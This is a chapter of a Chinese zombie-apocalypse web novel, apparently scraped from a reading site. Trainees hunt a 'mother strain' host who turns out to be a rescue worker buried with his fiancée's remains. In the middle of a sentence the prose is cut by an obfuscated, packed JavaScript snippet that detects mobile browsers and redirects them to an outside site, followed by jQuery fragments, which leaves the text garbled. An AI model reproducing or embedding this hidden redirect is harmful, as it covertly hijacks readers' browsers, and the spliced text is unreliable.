【没错,顾礼应该不止希望你们让丧尸失去行动能力吧,他更希望你们能够真正识别丧尸母株。】
“这是一个很重要的情报,如果不解决母株,子嗣也不会死透。还有两个半个小时,还来得及。”许昀熹瞬间支棱起来。
无敌队友骆鸿清理干净了附近的丧尸之后,转头望向苏羽,此时苏羽已经摘掉了防护的覆面,阴恻恻地看着他:“你是你们小队的老大吗?带几个新兵当炮灰倒是不错的选择。”
谁知骆鸿却操控着丧尸手掌指向许昀熹:“她才是我们小队的老大。”
“她?许昀熹?!!”苏羽大跌眼镜,“连契都有不起的人?”
“契”的丧尸手掌食指和中指交叉,骆鸿摇头道:“真正的大佬不屑于用契。”
说着,几个和苏羽组队的御尸者围了过来,纷纷表达着愤懑的情绪。
“你不是说你有把握斩杀丧尸吗?引来了那么多丧尸你不能解决那我们不就是送死吗?”
“你不是爸妈都是御尸者,见过不少丧尸了吗?”“你刚才是在害怕吗?”
苏羽杏眼里闪过一丝犹疑和狠戾之色,过了半晌才哑声说:“那些都是我编造的,我爸妈在我很小的时候就去世了,但我希望我在别人眼里不是残缺的,我就给自己编造了两个让人羡慕的双亲……我要你们都羡慕我,我一点都不可怜!”
她把脑袋埋在膝盖上嚎哭起来,生线哽咽如断弦:“我没有见过丧尸,从来没有。我以为自己不会怕死的,但是见到丧尸之后我才知道我有多怕死。”
许昀熹一怔,她实在没有料到这个常常挑起眼角放狠话的舍友会露出那么脆弱的一面。
那个被匕首扎穿手掌的御尸者怒然揪住苏羽的衣领:“这么怕死,还干这么卑鄙的事情?欺软怕硬,要不是看在你是女人的份上,我早打你了!”
眼见情况即将恶化,许昀熹赶忙转换话题吸引众人的注意力:“你们有没有发现隔离带里的丧尸动作散漫?如果真的像顾礼教官所言,母株感染者被抓住,丧尸应该很暴躁才对,怎么会那么悠闲地觅食?”
此言一出,御尸者们便发现了不对劲,纷纷转头看向许昀熹。
许昀熹继续:“我猜测母株感染者还在,我们还有两个半个小时,争取找到母株。”
御尸者们纷纷应和,提议分头行动,扩大搜索范围。那被扎穿手掌的御尸者狠狠瞪了一眼苏羽,没有继续为难她。如果有什么仇怨,那也是实地演习结束后的事情了。
一个御尸者的声音凭空乍起:“我凭什么信你?你何必告诉我们这个重要信息?剿灭母株之后你就是排名榜第一了。现在好了,这么多人和你一起争夺排位,你居心何在?”
许昀熹险些栽倒,扶着墙堪堪站稳。
“我们御尸者要团结一致,不要学习那个分裂分子。排位事小,人命事大,丧尸母株放出去不知道要祸害多少人。大家还有什么疑问吗?”许昀熹面露和善之色。
无敌队友骆鸿向许昀熹投来钦佩的目光。
沐浴在这样的目光下,许昀熹鸡皮疙瘩落了一地。
即便如此,依旧坚守阵地,面不改色。
“我想问丧尸母株怎么找?”毕胜天问。
许昀熹咳了一声,将“不知道”扩写成了一句正义凛然的话:“御尸者和丧尸对抗了五十年,寻找丧尸母株的办法至今还是未知数,我们如果能够找到辨认母株的办法,那就为人类做出了莫大贡献!”
“是!”
毕胜天热血沸腾,殊不知许昀熹正在向盛年求助哀嚎。
盛年:【别问我,我也不知道,四处找找线索吧。】
许昀熹无奈,只好在地震废墟四处游荡,偶尔遇到落单的丧尸,都被骆鸿的丧尸手掌轻松解决。
时间一分一秒过去了。
转过一个街角,眼前忽然出现一个丧尸,但那丧尸却留下一个毛绒玩具后就跑路了。
许昀熹很是诧异:嗯?!!
她地头捡起毛绒玩具,拍掉上面的灰尘。
这是一个小熊玩偶暖手宝,翻过面来就成了一个桃红爱心,许昀熹记得这还是前两年的爆款呢,班上不少女孩子嘤嘤嘤地找男朋友买来作为定情信物。
【把这玩具扔了,继续搜查,不要耽误时间。】盛年道。
许昀熹捡起布偶摇头:“不,这是线索。盛年,快追上那个丧尸,它有东西想给我看。”
盛年觉得好笑:【你还能比我还懂丧尸?】
“我比你更懂人类,既然丧尸母株会获得感染者的记忆,模范人类生存,那我就可以根据人类的行为模式来推断。”许昀熹道。
特别是情情爱爱什么的,咳咳,她最懂了。
盛年于是照做,操控她的躯体飞也似地追了过去。
毕胜天回过神来许昀熹已经消失了,她挥一挥衣袖,不带走一片云彩。
“怎么办?”毕胜天问骆鸿。
骆鸿镇定道:“老大一定发现了重要线索,我们跟上。”
毕胜天:“可是她人呢?”
骆鸿的丧尸手掌伸出食指晃了两下:“我也不知道,大佬行事一定有大佬的道理。”
***
许昀熹追上了那丧尸。它扭曲的四肢套在一身橘红色的制服里,制服的衣摆和袖口还有荧光带。许昀熹认得出来,那是地震救灾人员的制服,她在电视上看到过。
丧尸伸出干瘪的手,指向一栋倾塌的房屋,嘴里发出含混的呜咽声。
许昀熹心存疑惑,谨慎地走向那栋房屋的废墟。
这时那丧尸忽然双膝跪地,用手刨土,转头望着许昀熹又呜咽了两声。
嗯?他意思是要我刨土?
思索间,她忽然感觉身体发麻,盛年接管了她的躯体猛然窜上前来!
正当盛年打算下口咬丧尸脖颈时,许昀熹给她滋了一道脑电波:“有人来了!”
盛年只好停下动作,甫一转头,一群御尸者已经出现在身后,而那个把她引过来的丧尸已经不知所踪,但是弦波还在附近,应该并没有走远。
许昀熹:“丧尸母株感染者很可能就在地下。”
“你怎么知道的?你说在这里就在这里吗?”有御尸者对许昀熹的能力表示质疑。
还没等许昀熹编造理由解释,骆鸿已经谨遵嘱咐释放契的骨刺刨土,对
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15918130|173858||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着七零八落的房屋残骸一顿乱砍。不多时,还真砍出一个大洞。
洞里赫然出现一个穿着救灾服的男人,怀里抱着一具白骨。男人瘦骨嶙峋,胡茬和头发肆意生长。
御尸者们,赶忙后退几步拉开距离。
许昀熹感觉不对劲:多少年前的地震了,女朋友都化为森森白骨了,那男人怎么还是刚埋下去的模样?
就在这时,洞中的男人蓦地睁开双眼,深陷的眼眶里,那双带着血丝的眸子间或转过一轮,最后聚焦到了许昀熹的脸上。
“今天真热闹啊。”穿着救灾服的男人伸出干瘦的手拍了拍身上的土,从坑里站起身。
众御尸者大吃一惊,赶忙后退几步,将箭枪和“契”对准男人,浑身肌肉紧绷到了极致。
毕胜天正好赶来围观这一幕,惊奇地问:“他是活人吗?”
“这人是地下挖出来的。”一个御尸者答。
毕胜天:“可他不像丧尸啊!他的皮肤没有发脓,四肢也没有变形……啊!难道说?”
之前学习丧尸理论时,顾礼老师讲过,母株感染者和普通人无异,它们模仿人类的行为举止,混入人群中也很难被察觉。
而这个人,极有可能就是母株感染者。
毕胜天的腿霎时软成了面条,却听那洞中爬出来的男人开口道:“我一直想和爱人办一场隆重的婚礼。”
他指向许昀熹手中的熊布偶:“她最喜欢这个布偶了,我本想婚礼那天送给她,今天是个好日子,你就做我们的伴娘吧。”
许昀熹抱着熊布偶嘴角一抽,怎么也没想到没想到自己参加的第一场婚礼特么居然是冥.婚!
【这是宿主的记忆和夙愿。】盛年解释。
许昀熹支着下巴:“所以说婚礼那天发生了地震,宿主爱人不幸落难,宿主虽是个救灾员却迟来了一步。感染他的丧尸病毒被强烈的情感裹挟,替他完成未尽的夙愿?”
盛年无比佩服,没想到许昀熹这性缘脑居然脑补出了一个爱情悲剧。
谁料那男人话音刚落,就被数十个箭矢和“契”扎成了刺猬,画面十分惨烈。
许昀熹离得最近,当场血溅一脸。好在带了覆面,没有被丧尸毒株侵染。
但是白得的毒株自然要薅走的,许昀熹默默用手指蘸了一下覆面上的血迹送入舌尖,攫取了丧尸毒株的基因。
搞定了,她愉悦地想,丧尸母株感染者毕竟是凡人之躯,扎成刺猬铁定活不了。
正当许昀熹等待着母株感染者的记忆涌入脑海时,盛年的声音猛地炸响了:【糟糕,毒株的天然禀赋是躯体修复!】
话音刚落,那男人把身上扎的箭矢拔出,“契”也被寸寸逼回。
他的伤口上冒出一层粉色的物质,喷涌而出的鲜血如同水龙头关闭阀门一般瞬间止住。
“枉我对人类抱有美好的期待,你们根本不值得我真心对待!不值得!”发型潦草的男人大喝一声,呕哑嘲哳的哭声从四周隔空传来。
转眼间,屋顶上,街巷里都挤满了丧尸,把众人层层包围得水泄不通!
“就是因为有你们这些人,她才会死!”男人歇斯底里怒吼。